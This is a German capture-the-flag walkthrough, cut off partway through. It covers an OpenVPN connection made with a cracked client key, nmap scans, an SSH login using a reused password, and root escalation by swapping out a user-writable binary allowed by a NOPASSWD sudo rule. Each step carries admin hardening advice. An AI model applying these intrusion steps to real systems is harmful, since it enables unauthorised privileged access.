insgesamt 1500 -rwxrwxr-x 1 root root 657 15. Mai 01:31 brute.sh -rw-r--r-- 1 root root 1200 15. Mai 00:23 ca.crt -rw-r--r-- 1 root root 4492 15. Mai 00:23 client.crt -rw------- 1 root root 1704 15. Mai 01:34 client.decrypted.key -rw-r--r-- 1 root root 1862 15. Mai 00:27 client.key -rw-r--r-- 1 root root 0 15. Mai 00:29 client.key.hash -rw-r--r-- 1 root root 2518 15. Mai 00:35 client.key.john_hash -rw-rw-r-- 1 root root 181 15. Mai 01:27 connect.ovpn -rw-rw-r-- 1 root root 1500010 15. Mai 01:21 shino_num_len14.txt
Bewertung: Die Auflistung bestätigt das Vorhandensein aller relevanten Dateien:
brute.sh: Das Skript zum Knacken der Passphrase.ca.crt: Das CA-Zertifikat.client.crt: Das Client-Zertifikat.client.decrypted.key: Der entschlüsselte private Schlüssel (wichtig!).client.key: Der ursprüngliche verschlüsselte private Schlüssel.client.key.john_hash: Der (nicht funktionierende) Hash für John the Ripper.connect.ovpn: Die OpenVPN-Konfigurationsdatei.shino_num_len14.txt: Eine große Datei, deren Zweck hier unklar ist, könnte eine Wortliste oder ein Überbleibsel eines anderen Versuchs sein. Für den aktuellen OpenVPN-Zugriff ist sie nicht direkt relevant.connect.ovpn, ca.crt, client.crt, und client.decrypted.key. Die Berechtigungen für client.decrypted.key (-rw-------) sind korrekt restriktiv gesetzt (nur Lesen/Schreiben für den Eigentümer).
Empfehlung (Pentester):
Alle notwendigen Dateien sind vorhanden. Der nächste Schritt ist der Start der OpenVPN-Verbindung mit sudo openvpn --config connect.ovpn.
Empfehlung (Admin):
Keine direkten administrativen Maßnahmen basierend auf dieser Dateiliste auf dem Angreifer-System. Es unterstreicht jedoch, wie ein Angreifer methodisch alle notwendigen Komponenten sammelt.
Analyse:
Jetzt wird die OpenVPN-Verbindung mit der zuvor erstellten Konfigurationsdatei connect.ovpn gestartet.
Der Befehl openvpn --config connect.ovpn wird verwendet. Es ist zu beachten, dass je nach Systemkonfiguration sudo vorangestellt werden muss, wenn OpenVPN administrative Rechte benötigt (z.B. zum Erstellen des TUN/TAP-Interfaces oder zum Ändern von Routen). Im vorliegenden Fall wird es ohne sudo ausgeführt, was darauf hindeuten könnte, dass der Benutzer bereits Root-Rechte hat oder OpenVPN entsprechend konfiguriert ist.
Die Ausgabe zeigt detaillierte Log-Meldungen des OpenVPN-Clients während des Verbindungsaufbaus.
2025-05-15 01:36:03 Note: Kernel support for ovpn-dco missing, disabling data channel offload. 2025-05-15 01:36:03 OpenVPN 2.6.14 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO] 2025-05-15 01:36:03 library versions: OpenSSL 3.5.0 8 Apr 2025, LZO 2.10 2025-05-15 01:36:03 DCO version: N/A 2025-05-15 01:36:03 WARNING: No server certificate verification method has been enabled. See [Link: http://openvpn.net/howto.html#mitm | Ziel: http://openvpn.net/howto.html#mitm] for more info. 2025-05-15 01:36:03 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.2.191:1194 2025-05-15 01:36:03 Socket Buffers: R=[212992->212992] S=[212992->212992] 2025-05-15 01:36:03 UDPv4 link local: (not bound) 2025-05-15 01:36:03 UDPv4 link remote: [AF_INET]192.168.2.191:1194 2025-05-15 01:36:03 TLS: Initial packet from [AF_INET]192.168.2.191:1194, sid=21139f7b e6707152 2025-05-15 01:36:03 VERIFY OK: depth=1, CN=My-Home CA 2025-05-15 01:36:03 VERIFY OK: depth=0, CN=server 2025-05-15 01:36:03 Control Channel: TLSv1.3, cipher TLSv1.3 TLS_AES_256_GCM_SHA384, peer certificate: 2048 bits RSA, signature: RSA-SHA256, peer temporary key: 253 bits X25519 2025-05-15 01:36:03 [server] Peer Connection Initiated with [AF_INET]192.168.2.191:1194 2025-05-15 01:36:03 TLS: move_session: dest=TM_ACTIVE src=TM_INITIAL reinit_src=1 2025-05-15 01:36:03 TLS: tls_multi_process: initial untrusted session promoted to trusted 2025-05-15 01:36:03 PUSH: Received control message: 'PUSH_REPLY,route 10.176.13.0 255.255.255.0,dhcp-option DNS 8.8.8.8,route-gateway 10.8.0.1,topology subnet,ping 10,ping-restart 120,ifconfig 10.8.0.2 255.255.255.0,peer-id 0,cipher AES-256-GCM,protocol-flags cc-exit tls-ekm dyn-tls-crypt,tun-mtu 1500' 2025-05-15 01:36:03 OPTIONS IMPORT: --ifconfig/up options modified 2025-05-15 01:36:03 OPTIONS IMPORT: route options modified 2025-05-15 01:36:03 OPTIONS IMPORT: route-related options modified 2025-05-15 01:36:03 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options modified 2025-05-15 01:36:03 OPTIONS IMPORT: tun-mtu set to 1500 2025-05-15 01:36:03 net_route_v4_best_gw query: dst 0.0.0.0 2025-05-15 01:36:03 net_route_v4_best_gw result: via 192.168.2.1 dev eth0 2025-05-15 01:36:03 ROUTE_GATEWAY 192.168.2.1/255.255.255.0 IFACE=eth0 HWADDR=08:00:27:ee:49:a2 2025-05-15 01:36:03 TUN/TAP device tun0 opened 2025-05-15 01:36:03 net_iface_mtu_set: mtu 1500 for tun0 2025-05-15 01:36:03 net_iface_up: set tun0 up 2025-05-15 01:36:03 net_addr_v4_add: 10.8.0.2/24 dev tun0 2025-05-15 01:36:03 net_route_v4_add: 10.176.13.0/24 via 10.8.0.1 dev [NULL] table 0 metric -1 2025-05-15 01:36:03 Initialization Sequence Completed 2025-05-15 01:36:03 Data Channel: cipher 'AES-256-GCM', peer-id: 0 2025-05-15 01:36:03 Timers: ping 10, ping-restart 120 2025-05-15 01:36:03 Protocol options: protocol-flags cc-exit tls-ekm dyn-tls-crypt
Bewertung: Der OpenVPN-Verbindungsaufbau war erfolgreich! Die wichtigsten Punkte aus der Ausgabe sind:
WARNING: No server certificate verification method has been enabled.: Dies ist eine wichtige Warnung. Obwohl wir ca ca.crt in unserer Konfiguration haben, scheint serverseitig keine strenge Überprüfung des Client-Zertifikats anhand des CN (Common Name) oder anderer Attribute stattzufinden, oder die Option remote-cert-tls server fehlt in der Client-Konfig. Für diesen CTF-Kontext ist es weniger kritisch, in einer Produktivumgebung wäre dies aber ein Sicherheitsproblem (Risiko von Man-in-the-Middle-Angriffen, wenn das CA-Zertifikat kompromittiert würde).VERIFY OK: depth=1, CN=My-Home CA und VERIFY OK: depth=0, CN=server: Das Zertifikat des Servers wurde erfolgreich gegen unser CA-Zertifikat validiert.[server] Peer Connection Initiated with [AF_INET]192.168.2.191:1194: Die Verbindung zum Server wurde hergestellt.PUSH: Received control message: ...: Dies ist ein sehr wichtiger Teil. Der Server "pusht" Konfigurationsoptionen an den Client:
route 10.176.13.0 255.255.255.0: Der Client wird angewiesen, eine Route zum Netzwerk 10.176.13.0/24 hinzuzufügen. Dies ist ein neues Netzwerk, das wir erkunden müssen!dhcp-option DNS 8.8.8.8: Setzt den DNS-Server auf Google DNS.route-gateway 10.8.0.1: Das Gateway für das VPN-Netzwerk.ifconfig 10.8.0.2 255.255.255.0: Dem Client wird die IP-Adresse 10.8.0.2 im Subnetz 255.255.255.0 zugewiesen.TUN/TAP device tun0 opened: Das virtuelle Netzwerkinterface tun0 wurde erfolgreich erstellt.net_addr_v4_add: 10.8.0.2/24 dev tun0: Die IP-Adresse wurde dem Interface zugewiesen.net_route_v4_add: 10.176.13.0/24 via 10.8.0.1 ...: Die Route zum neuen Netzwerk wurde hinzugefügt.Initialization Sequence Completed: Die Verbindung steht!10.176.13.0/24) und eine neue IP-Adresse (10.8.0.2). Das VPN-Gateway ist 10.8.0.1.
Empfehlung (Pentester): Die nächsten Schritte sind:
ip a und ip route).10.8.0.1), um die Konnektivität zu bestätigen.10.8.0.1) auf offene Ports.10.176.13.0/24 auf aktive Hosts und deren Dienste. Dies ist wahrscheinlich der Ort, an dem sich weitere Ziele befinden.remote-cert-tls server oder spezifischere Überprüfungen des Client-Zertifikat-CNs) erzwungen wird, um die Sicherheit zu erhöhen. Die gepushten Routen und Netzwerke sollten genau definiert und nur auf das Notwendigste beschränkt sein (Least Privilege).
Analyse:
Nachdem die OpenVPN-Verbindung erfolgreich aufgebaut wurde, überprüfen wir die Netzwerkkonfiguration unseres lokalen Systems mit dem Befehl ip a (eine Kurzform für ip addr show). Dies zeigt alle Netzwerkschnittstellen und deren zugewiesene IP-Adressen an. Wir suchen hier speziell nach der neuen tun0-Schnittstelle, die von OpenVPN erstellt wurde.
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500 link/none inet 10.8.0.2/24 scope global tun0 valid_lft forever preferred_lft forever inet6 fe80::e7f9:aeb6:c615:5848/64 scope link stable-privacy valid_lft forever preferred_lft forever
Bewertung:
Die Ausgabe von ip a bestätigt, dass die Netzwerkschnittstelle tun0 aktiv ist (UP,LOWER_UP) und die vom OpenVPN-Server zugewiesene IP-Adresse 10.8.0.2 mit einer Subnetzmaske /24 (entspricht 255.255.255.0) erhalten hat. Dies stimmt mit den Informationen überein, die während des OpenVPN-Verbindungsaufbaus (ifconfig 10.8.0.2 255.255.255.0) angezeigt wurden.
Wir sind nun offiziell Teil des VPN-Netzwerks.
Empfehlung (Pentester):
Als Nächstes sollte die Konnektivität innerhalb des VPNs überprüft werden, beginnend mit einem Ping an das Gateway (10.8.0.1). Danach kann die Erkundung des gepushten Netzwerks 10.176.13.0/24 beginnen.
Empfehlung (Admin):
Keine direkten administrativen Maßnahmen basierend auf dieser Client-seitigen Ausgabe. Es bestätigt die korrekte Funktion der IP-Adressvergabe durch den OpenVPN-Server.
Analyse:
Um die grundlegende Konnektivität innerhalb des neu etablierten VPN-Tunnels zu testen, pingen wir das vom OpenVPN-Server zugewiesene Gateway 10.8.0.1 an.
Der Befehl ping -c 4 10.8.0.1 sendet vier ICMP Echo Request-Pakete an das Gateway.
PING 10.8.0.1 (10.8.0.1) 56(84) bytes of data. 64 bytes from 10.8.0.1: icmp_seq=1 ttl=64 time=0.394 ms 64 bytes from 10.8.0.1: icmp_seq=2 ttl=64 time=0.590 ms 64 bytes from 10.8.0.1: icmp_seq=3 ttl=64 time=0.641 ms ^C --- 10.8.0.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2057ms rtt min/avg/max/mdev = 0.394/0.541/0.641/0.106 ms
Bewertung:
Der Ping-Test ist erfolgreich. Das Gateway 10.8.0.1 antwortet auf die ICMP-Anfragen mit kurzen Antwortzeiten (RTTs von ca. 0.4-0.6 ms). Es gibt keinen Paketverlust (0% packet loss). Dies bestätigt, dass die VPN-Verbindung stabil ist und wir mit dem Gateway kommunizieren können.
Der Prozess wurde mit Strg+C nach 3 Paketen abgebrochen, aber das Ergebnis ist eindeutig.
Empfehlung (Pentester):
Nachdem die Konnektivität zum Gateway bestätigt wurde, ist der nächste Schritt, das Gateway selbst (10.8.0.1) auf offene Dienste zu scannen und anschließend das vom Server gepushte Netzwerk 10.176.13.0/24 auf weitere Hosts zu untersuchen.
Empfehlung (Admin):
Die Erreichbarkeit des VPN-Gateways via Ping ist normal und für Troubleshooting oft erwünscht. Wenn dies aus Sicherheitsgründen nicht gewünscht ist, könnte ICMP am Gateway blockiert werden, was jedoch die Fehlerdiagnose erschwert.
Analyse:
Nachdem die VPN-Verbindung steht und das Gateway 10.8.0.1 erreichbar ist, scannen wir dieses Gateway mit nmap auf offene TCP-Ports.
Der Befehl nmap -p- 10.8.0.1 führt einen Scan aller 65535 TCP-Ports auf der IP-Adresse 10.8.0.1 durch. Standardmäßig führt nmap ohne weitere Spezifikationen (wie -sS oder -sT) einen SYN-Scan durch, wenn es mit Root-Rechten ausgeführt wird, oder einen Connect-Scan, wenn nicht. Da der Prompt root㉿CCat anzeigt, wird wahrscheinlich ein SYN-Scan durchgeführt.
Anschließend wird das vom VPN-Server gepushte Netzwerk 10.176.13.0/24 mit nmap -sn 10.176.13.0/24 auf aktive Hosts gescannt. Die Option -sn (Ping-Scan) deaktiviert das Port-Scanning und führt nur eine Host-Discovery durch, um festzustellen, welche IPs im Subnetz antworten.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 01:45 CEST Nmap scan report for 10.8.0.1 Host is up (0.00050s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 2.93 seconds
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 01:45 CEST Nmap scan report for 10.176.13.37 Host is up (0.00046s latency). Nmap done: 256 IP addresses (1 host up) scanned in 83.99 seconds
Bewertung:
Der Scan des VPN-Gateways 10.8.0.1 zeigt, dass dort nur Port 80 (HTTP) offen ist. Dies könnte eine Verwaltungswebseite für das VPN oder ein anderer interner Webdienst sein.
Der Ping-Scan des Netzwerks 10.176.13.0/24 ist sehr aufschlussreich: Es wurde ein einzelner aktiver Host mit der IP-Adresse 10.176.13.37 gefunden. Dies ist unser nächstes Ziel!
Empfehlung (Pentester):
Der Webdienst auf http://10.8.0.1/ sollte untersucht werden. Parallel dazu muss der neu entdeckte Host 10.176.13.37 einem vollständigen Portscan (TCP und UDP) unterzogen werden, um dessen Dienste und potenzielle Schwachstellen zu identifizieren.
Empfehlung (Admin):
Wenn auf dem VPN-Gateway 10.8.0.1 ein Webserver läuft, sollte dessen Zugriff streng kontrolliert und der Dienst gehärtet werden. Nicht benötigte Webdienste auf Netzwerkgeräten sollten deaktiviert werden. Die Netzwerksegmentierung durch das VPN ist ein guter Schritt, aber die Sicherheit der Hosts innerhalb des VPN-Segments ist ebenso wichtig. Es sollte sichergestellt werden, dass Hosts im VPN nur die minimal notwendigen Dienste exponieren.
Analyse:
Nachdem der Host 10.176.13.37 im VPN-Subnetz 10.176.13.0/24 identifiziert wurde, führen wir nun einen detaillierten nmap-Scan auf diesen Host durch.
Der Befehl nmap -sS -sC -sV -p- 10.176.13.37 ist wie folgt aufgebaut:
-sS: TCP SYN-Scan.-sC: Führt Standard-Nmap-Skripte aus.-sV: Versucht, die Versionen der laufenden Dienste zu ermitteln.-p-: Scannt alle 65535 TCP-Ports.10.176.13.37 zu finden.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-15 01:49 CEST Nmap scan report for 10.176.13.37 Host is up (0.00044s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9 (protocol 2.0) | ssh-hostkey: | 256 f7:f2:e0:96:c0:28:67:93:5f:90:f2:a1:86:73:74:00 (ECDSA) |_ 256 92:40:ba:b8:11:ad:79:41:71:f8:9e:00:01:64:9c:34 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Unix)) |_http-server-header: Apache/2.4.62 (Unix) |_http-title: Mac OS X Server | http-methods: |_ Potentially risky methods: TRACE |_http-favicon: Apache on Mac OS X Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 9.22 seconds
Bewertung:
Der Scan des Hosts 10.176.13.37 liefert sehr interessante Ergebnisse:
22/tcp ist offen und es läuft ein OpenSSH 9.9 Dienst. Dies ist ein potenzieller Eingangspunkt, wenn wir gültige Anmeldedaten finden oder eine Schwachstelle in dieser SSH-Version existiert.80/tcp ist ebenfalls offen und es läuft ein Apache httpd 2.4.62 ((Unix)). Interessanterweise sind der HTTP-Titel (Mac OS X Server) und das Favicon identisch mit dem Webserver auf der ursprünglichen Ziel-IP 192.168.2.191. Dies könnte darauf hindeuten, dass es sich um denselben Server handelt, der über das VPN erreichbar ist, oder um eine sehr ähnliche Konfiguration. Die aktivierte TRACE-Methode wird auch hier gemeldet.hiro (gefunden für den VPN-Schlüssel) für den Benutzer shinosawa (erwähnt in der VPN-Konfig) via SSH ist nun ein primärer Angriffsvektor.
Empfehlung (Pentester):
Der nächste Schritt ist ein SSH-Loginversuch auf 10.176.13.37 mit dem Benutzernamen shinosawa und dem Passwort hiro. Parallel dazu sollte auch der Webserver auf http://10.176.13.37/ untersucht werden, obwohl er dem bereits bekannten Server ähnelt – es könnten sich Unterschiede im Inhalt oder in der Konfiguration ergeben haben, die über das VPN zugänglich sind.
Empfehlung (Admin):
Der SSH-Zugriff sollte durch starke, einzigartige Passwörter und/oder Schlüsselpaare gesichert werden. Passwort-Authentifizierung sollte idealerweise deaktiviert und nur Schlüssel-Authentifizierung zugelassen werden. Die Webserver-Konfiguration (Deaktivierung von TRACE, Minimierung von Bannern) gilt auch für diesen internen Host. Es sollte sichergestellt werden, dass interne Systeme ebenso robust gehärtet sind wie extern erreichbare Systeme. Die Ähnlichkeit der Webserver-Konfiguration könnte auf geklonte Systeme oder eine standardisierte Bereitstellung hinweisen; sicherheitsrelevante Einstellungen sollten bei solchen Prozessen besonders beachtet werden.
Analyse:
Basierend auf den Ergebnissen des vorherigen nmap-Scans (offener SSH-Port auf 10.176.13.37) und den Hinweisen aus der OpenVPN-Konfiguration (Benutzer "shinosawa", Passwort des VPN-Keys "hiro"), versuchen wir nun, uns per SSH auf dem Host 10.176.13.37 als Benutzer shinosawa anzumelden.
Der Befehl ssh shinosawa@10.176.13.37 initiiert die SSH-Verbindung. Das System fragt nach der Bestätigung des Host-Schlüssels (da es das erste Mal ist, dass wir uns mit diesem Host verbinden) und anschließend nach dem Passwort für shinosawa.
Wir geben das Passwort hiro ein.
The authenticity of host '10.176.13.37 (10.176.13.37)' can't be established. ED25519 key fingerprint is SHA256:vaNpWHLU4MBQQAMOKUZyElDg6iMi5vHtM3a9kKLw+oE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.176.13.37' (ED25519) to the list of known hosts. shinosawa@10.176.13.37's password: hiro homelab:~$
Bewertung:
Der SSH-Login war erfolgreich! Wir haben mit den Anmeldedaten shinosawa:hiro eine Shell auf dem Zielsystem homelab (Hostname des Zielsystems, wie im Prompt ersichtlich) erhalten.
Dies bestätigt die Vermutung, dass das Passwort des VPN-Schlüssels für den SSH-Zugang des Benutzers shinosawa wiederverwendet wurde. Dies ist ein kritischer Fund und unser erster interaktiver Zugriff auf ein System in dieser Kette. Wir haben nun einen Fuß in der Tür im internen Netzwerk. Der Prompt homelab:~$ zeigt, dass wir uns im Home-Verzeichnis des Benutzers shinosawa befinden und eine normale Benutzer-Shell haben.
Empfehlung (Pentester):
Nachdem wir erfolgreich Zugriff als Benutzer shinosawa erlangt haben, sind die nächsten Schritte:
uname -a, cat /etc/os-release, ps aux, netstat -tulnp, id, whoami)./home/shinosawa/user.txt oder ähnlich).sudo-Rechte (sudo -l), SUID/SGID-Binaries (find / -perm -4000 -type f 2>/dev/null), Cronjobs, Kernel-Exploits, schwache Dateiberechtigungen, etc.Analyse:
Nachdem wir uns erfolgreich als Benutzer shinosawa per SSH auf dem Host homelab angemeldet haben, führen wir den Befehl sudo -l aus. Dieser Befehl listet die Befehle auf, die der aktuelle Benutzer (shinosawa) mit sudo (also mit den Rechten eines anderen Benutzers, standardmäßig root) ausführen darf, basierend auf der Konfiguration in der /etc/sudoers-Datei.
The authenticity of host '10.176.13.37 (10.176.13.37)' can't be established. ED25519 key fingerprint is SHA256:vaNpWHLU4MBQQAMOKUZyElDg6iMi5vHtM3a9kKLw+oE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.176.13.37' (ED25519) to the list of known hosts. shinosawa@10.176.13.37's password: hiro homelab:~$ sudo -l Matching Defaults entries for shinosawa on homelab: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for shinosawa: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User shinosawa may run the following commands on homelab: (ALL) NOPASSWD: /home/shinosawa/deepseek homelab:~$
Bewertung:
Die Ausgabe von sudo -l ist extrem aufschlussreich und deutet auf einen klaren Weg zur Rechteausweitung hin:
Matching Defaults entries ... secure_path=...: Definiert den sicheren Pfad, den sudo verwendet, um Befehle zu finden. Dies ist wichtig, um Path-Hijacking-Angriffe zu verhindern, bei denen ein Angreifer eine manipulierte Version eines Standardbefehls in einem Verzeichnis platziert, das früher im PATH des Benutzers steht.Runas and Command-specific defaults ... Defaults!/usr/sbin/visudo ...: Spezifische Standardeinstellungen für visudo.User shinosawa may run the following commands on homelab: (ALL) NOPASSWD: /home/shinosawa/deepseek: Dies ist der kritische Punkt! Der Benutzer shinosawa darf den Befehl /home/shinosawa/deepseek als jeder Benutzer ((ALL), was implizit root einschließt, wenn nicht anders angegeben) und ohne Eingabe eines Passworts (NOPASSWD:) ausführen.deepseek im Home-Verzeichnis von shinosawa befindet (/home/shinosawa/deepseek), und wir als shinosawa Schreibrechte in unserem eigenen Home-Verzeichnis haben (es sei denn, es gibt sehr ungewöhnliche Einschränkungen), können wir diese Datei potenziell manipulieren oder ersetzen. Wenn wir /home/shinosawa/deepseek durch ein Skript ersetzen, das eine Shell startet (z.B. /bin/bash oder /bin/sh), und dieses dann mit sudo /home/shinosawa/deepseek ausführen, wird unser Skript mit Root-Rechten ausgeführt. Dies ist ein klassischer Sudo-Exploit-Vektor durch eine unsichere Konfiguration.
Empfehlung (Pentester): Der Plan ist klar:
/home/shinosawa/deepseek aktuell ist (ls -l /home/shinosawa/deepseek, file /home/shinosawa/deepseek, cat /home/shinosawa/deepseek).deepseek sichern (umbenennen).deepseek im Pfad /home/shinosawa/ erstellen, die einen Befehl zum Starten einer Shell enthält (z.B. echo '/bin/bash -p' > /home/shinosawa/deepseek oder echo 'ash' > /home/shinosawa/deepseek, da die Shell von shinosawa ash ist).chmod +x /home/shinosawa/deepseek).sudo /home/shinosawa/deepseek ausführen. Dies sollte eine Root-Shell öffnen.sudoers-Konfiguration ist hier extrem unsicher. Das Erlauben der Ausführung eines Programms aus dem Home-Verzeichnis eines Benutzers mit NOPASSWD als root ist ein Rezept für eine Katastrophe, da der Benutzer volle Kontrolle über dieses Programm hat.
Prinzipien für sichere sudoers-Regeln:
/usr/local/sbin) und nicht vom Benutzer veränderbar sein./home/shinosawa/deepseek auszuführen, wäre es sicherer (wenn dieser Befehl tatsächlich als root benötigt wird), ihn an einen Ort zu verschieben, den shinosawa nicht schreiben kann, und den Pfad in sudoers entsprechend anzupassen.sudo-Regel muss umgehend korrigiert werden.
Analyse:
Als Benutzer shinosawa führen wir einige grundlegende Enumerationsbefehle durch, um mehr über das System und den Benutzerkontext zu erfahren.
grep sh /etc/passwd: Durchsucht die Datei /etc/passwd nach Zeilen, die "sh" enthalten. Dies wird oft verwendet, um Benutzer zu finden, die eine Shell konfiguriert haben (z.B. /bin/bash, /bin/sh, /bin/ash).ls /home/: Listet die Verzeichnisse im /home-Verzeichnis auf, um andere Benutzerkonten zu identifizieren.id: Zeigt die User ID (UID), Group ID (GID) und Gruppenmitgliedschaften des aktuellen Benutzers an.cat user.flag: Versucht, eine Datei namens user.flag im aktuellen Verzeichnis (dem Home-Verzeichnis von shinosawa) zu lesen. Dies ist eine Standardkonvention in CTFs für die Benutzer-Flag.root:x:0:0:root:/root:/bin/sh shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown sshd:x:22:22:sshd:/dev/null:/sbin/nologin shinosawa:x:1000:1000::/home/shinosawa:/bin/ash <<--<- das ist eine "/bin/ash" shell
shinosawa
uid=1000(shinosawa) gid=1000(shinosawa) groups=100(users),1000(shinosawa)
flag{38665d1048af82499c6ecbd3c0db3acc}
Bewertung: Die Enumeration liefert wichtige Informationen:
grep sh /etc/passwd:
root die Shell /bin/sh verwendet.shinosawa (UID 1000, GID 1000) mit der Shell /bin/ash. Die Alpine Linux Shell (ash) ist eine leichtgewichtige Shell, die oft in Containern oder Embedded Systems verwendet wird. Der Kommentar "//das ist eine ask shell" ist eine interessante Beobachtung des ursprünglichen Autors.sshd-Benutzer hat keine Login-Shell (/sbin/nologin), was normal ist.ls /home/: Bestätigt, dass shinosawa der einzige Benutzer mit einem Home-Verzeichnis unter /home zu sein scheint.id: Bestätigt die UID (1000), GID (1000) und Gruppen (users, shinosawa) für den Benutzer shinosawa.cat user.flag: Volltreffer! Die Benutzer-Flag flag{38665d1048af82499c6ecbd3c0db3acc} wurde erfolgreich im Home-Verzeichnis von shinosawa gefunden und ausgelesen.sudo-Konfiguration.
Empfehlung (Pentester):
Nachdem die User-Flag gesichert ist, sollte der Fokus vollständig auf die Ausnutzung der sudo-Regel für /home/shinosawa/deepseek gelegt werden, um Root-Rechte zu erlangen und die Root-Flag zu finden.
Empfehlung (Admin):
Die Verwendung von /bin/ash als Standard-Shell für Benutzer ist nicht per se unsicher, aber weniger verbreitet als bash. Administratoren sollten sich der Unterschiede bewusst sein. Die Existenz einer user.flag-Datei ist spezifisch für CTF-Szenarien und hat in Produktivumgebungen keine direkte Entsprechung, aber das Prinzip, sensible Daten im Home-Verzeichnis eines Benutzers zu schützen, bleibt bestehen (korrekte Dateiberechtigungen).
Analyse:
Als Benutzer shinosawa untersuchen wir nun die Datei /home/shinosawa/deepseek, die wir gemäß der sudo -l Ausgabe mit Root-Rechten ausführen dürfen.
file deepseek: Bestimmt den Dateityp von deepseek.ls: Listet den Inhalt des aktuellen Verzeichnisses (/home/shinosawa) auf.id und whoami: Bestätigen erneut die Identität des aktuellen Benutzers../deepseek: Führt das Programm deepseek als Benutzer shinosawa aus. Der Benutzer gibt hier /bin/bash -p ein, wahrscheinlich in der Erwartung, dass deepseek dies als Befehl ausführt.sudo -u shinosawa ./deepseek: Führt deepseek explizit als Benutzer shinosawa mit sudo aus. Dies ist redundant, da wir bereits shinosawa sind, dient aber möglicherweise dazu, das Verhalten in einem sudo-Kontext ohne Rechteerhöhung zu testen.deepseek: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, BuildID[sha1]=4478f317bcb59905bbe3d317817d9f49c6c3ad5b, with debug_info, not stripped
deepseek user.flag
uid=1000(shinosawa) gid=1000(shinosawa) groups=100(users),1000(shinosawa)
shinosawa
>>> /bin/bash -p
<think>
Emm, I'm so tired and don't want to answer any^C
>>> /bin/bash -p <think> Emm, I'm so tired and don't want to answer any questions. </think> Thinking has stopped. The server is busy, please try again later.
Bewertung:
file deepseek: Zeigt, dass deepseek ein 64-Bit ELF Executable ist, dynamisch gelinkt gegen musl-libc (typisch für Alpine Linux) und nicht gestrippt (enthält Debug-Informationen, was für Reverse Engineering nützlich sein könnte, hier aber nicht relevant ist).ls: Bestätigt, dass nur deepseek und user.flag im Home-Verzeichnis liegen../deepseek und sudo -u shinosawa ./deepseek: Das Programm scheint eine Art interaktive Eingabe zu erwarten (>>>). Wenn man /bin/bash -p eingibt, antwortet es mit "Emm, I'm so tired..." und scheint keine Shell auszuführen. Es bricht ab oder beendet die Interaktion. Es verhält sich nicht wie ein direkter Shell-Wrapper.deepseek selbst ist für die Privilege Escalation nicht direkt nützlich, da es unsere Eingaben nicht wie erwartet als Befehle ausführt. Die Stärke liegt darin, dass wir es durch unsere eigene Datei ersetzen können, da es in unserem Home-Verzeichnis liegt und wir es via sudo als root ausführen dürfen.
Empfehlung (Pentester):
Der Plan, deepseek durch ein eigenes Skript zu ersetzen, bleibt der richtige Weg. Das ursprüngliche Verhalten von deepseek ist für diesen Exploit-Pfad irrelevant, solange wir die Datei überschreiben können.
Empfehlung (Admin):
Die unsichere sudo-Regel ist das Hauptproblem. Selbst wenn deepseek selbst harmlos wäre, ermöglicht die Konfiguration die Ausführung einer beliebigen Datei an diesem Ort mit Root-Rechten. Programme, die mit sudo ausgeführt werden dürfen, sollten nicht durch den Benutzer modifizierbar sein, der sie ausführt.
Kurzbeschreibung der Schwachstelle:
Der Benutzer shinosawa darf das Programm /home/shinosawa/deepseek mittels sudo ohne Passwort als root ausführen. Da sich die Datei deepseek im Home-Verzeichnis von shinosawa befindet, hat dieser Benutzer Schreibrechte darauf. Dies ermöglicht es, die Originaldatei durch ein eigenes Skript zu ersetzen, das beim Aufruf mit sudo eine Root-Shell startet (Path Hijacking auf die Zieldatei selbst).
Voraussetzungen:
shinosawa auf dem Zielsystem homelab.sudo-Konfiguration, die shinosawa ALL=(ALL) NOPASSWD: /home/shinosawa/deepseek erlaubt./home/shinosawa/.Schritt-für-Schritt-Anleitung zur Ausnutzung:
1. Versuch, deepseek zu überschreiben (fehlschlagend):
Wir versuchen zunächst, die Datei deepseek direkt mit echo ash > deepseek zu überschreiben. Dies schlägt fehl ("Permission denied"), obwohl wir im eigenen Home-Verzeichnis sind. Dies könnte an speziellen Attributen der Datei liegen (z.B. immutable bit, obwohl das auf einem ELF-Executable unüblich wäre und hier nicht weiter untersucht wird) oder ein Missverständnis der Shell-Berechtigungen.
Der Versuch, die Datei mit chmod +x deepseek ausführbar zu machen, ist hier irrelevant, da das Problem das Schreiben ist.
-ash: can't create deepseek: Permission denied
-ash: can't create deepseek: Permission denied
2. Umbenennen der Originaldatei und Erstellen einer neuen `deepseek`-Datei:
Da das direkte Überschreiben fehlschlägt, benennen wir die Originaldatei deepseek zu deep um (mv deepseek deep). Dies gibt den Dateinamen deepseek frei.
Anschließend erstellen wir eine neue Datei namens deepseek mit dem Inhalt ash (echo ash > deepseek). ash ist die Shell des Benutzers shinosawa, und wenn sie als root ausgeführt wird, erhalten wir eine Root-Shell.
3. Ausführbar machen und mit `sudo` ausführen (erste Versuche fehlschlagend):
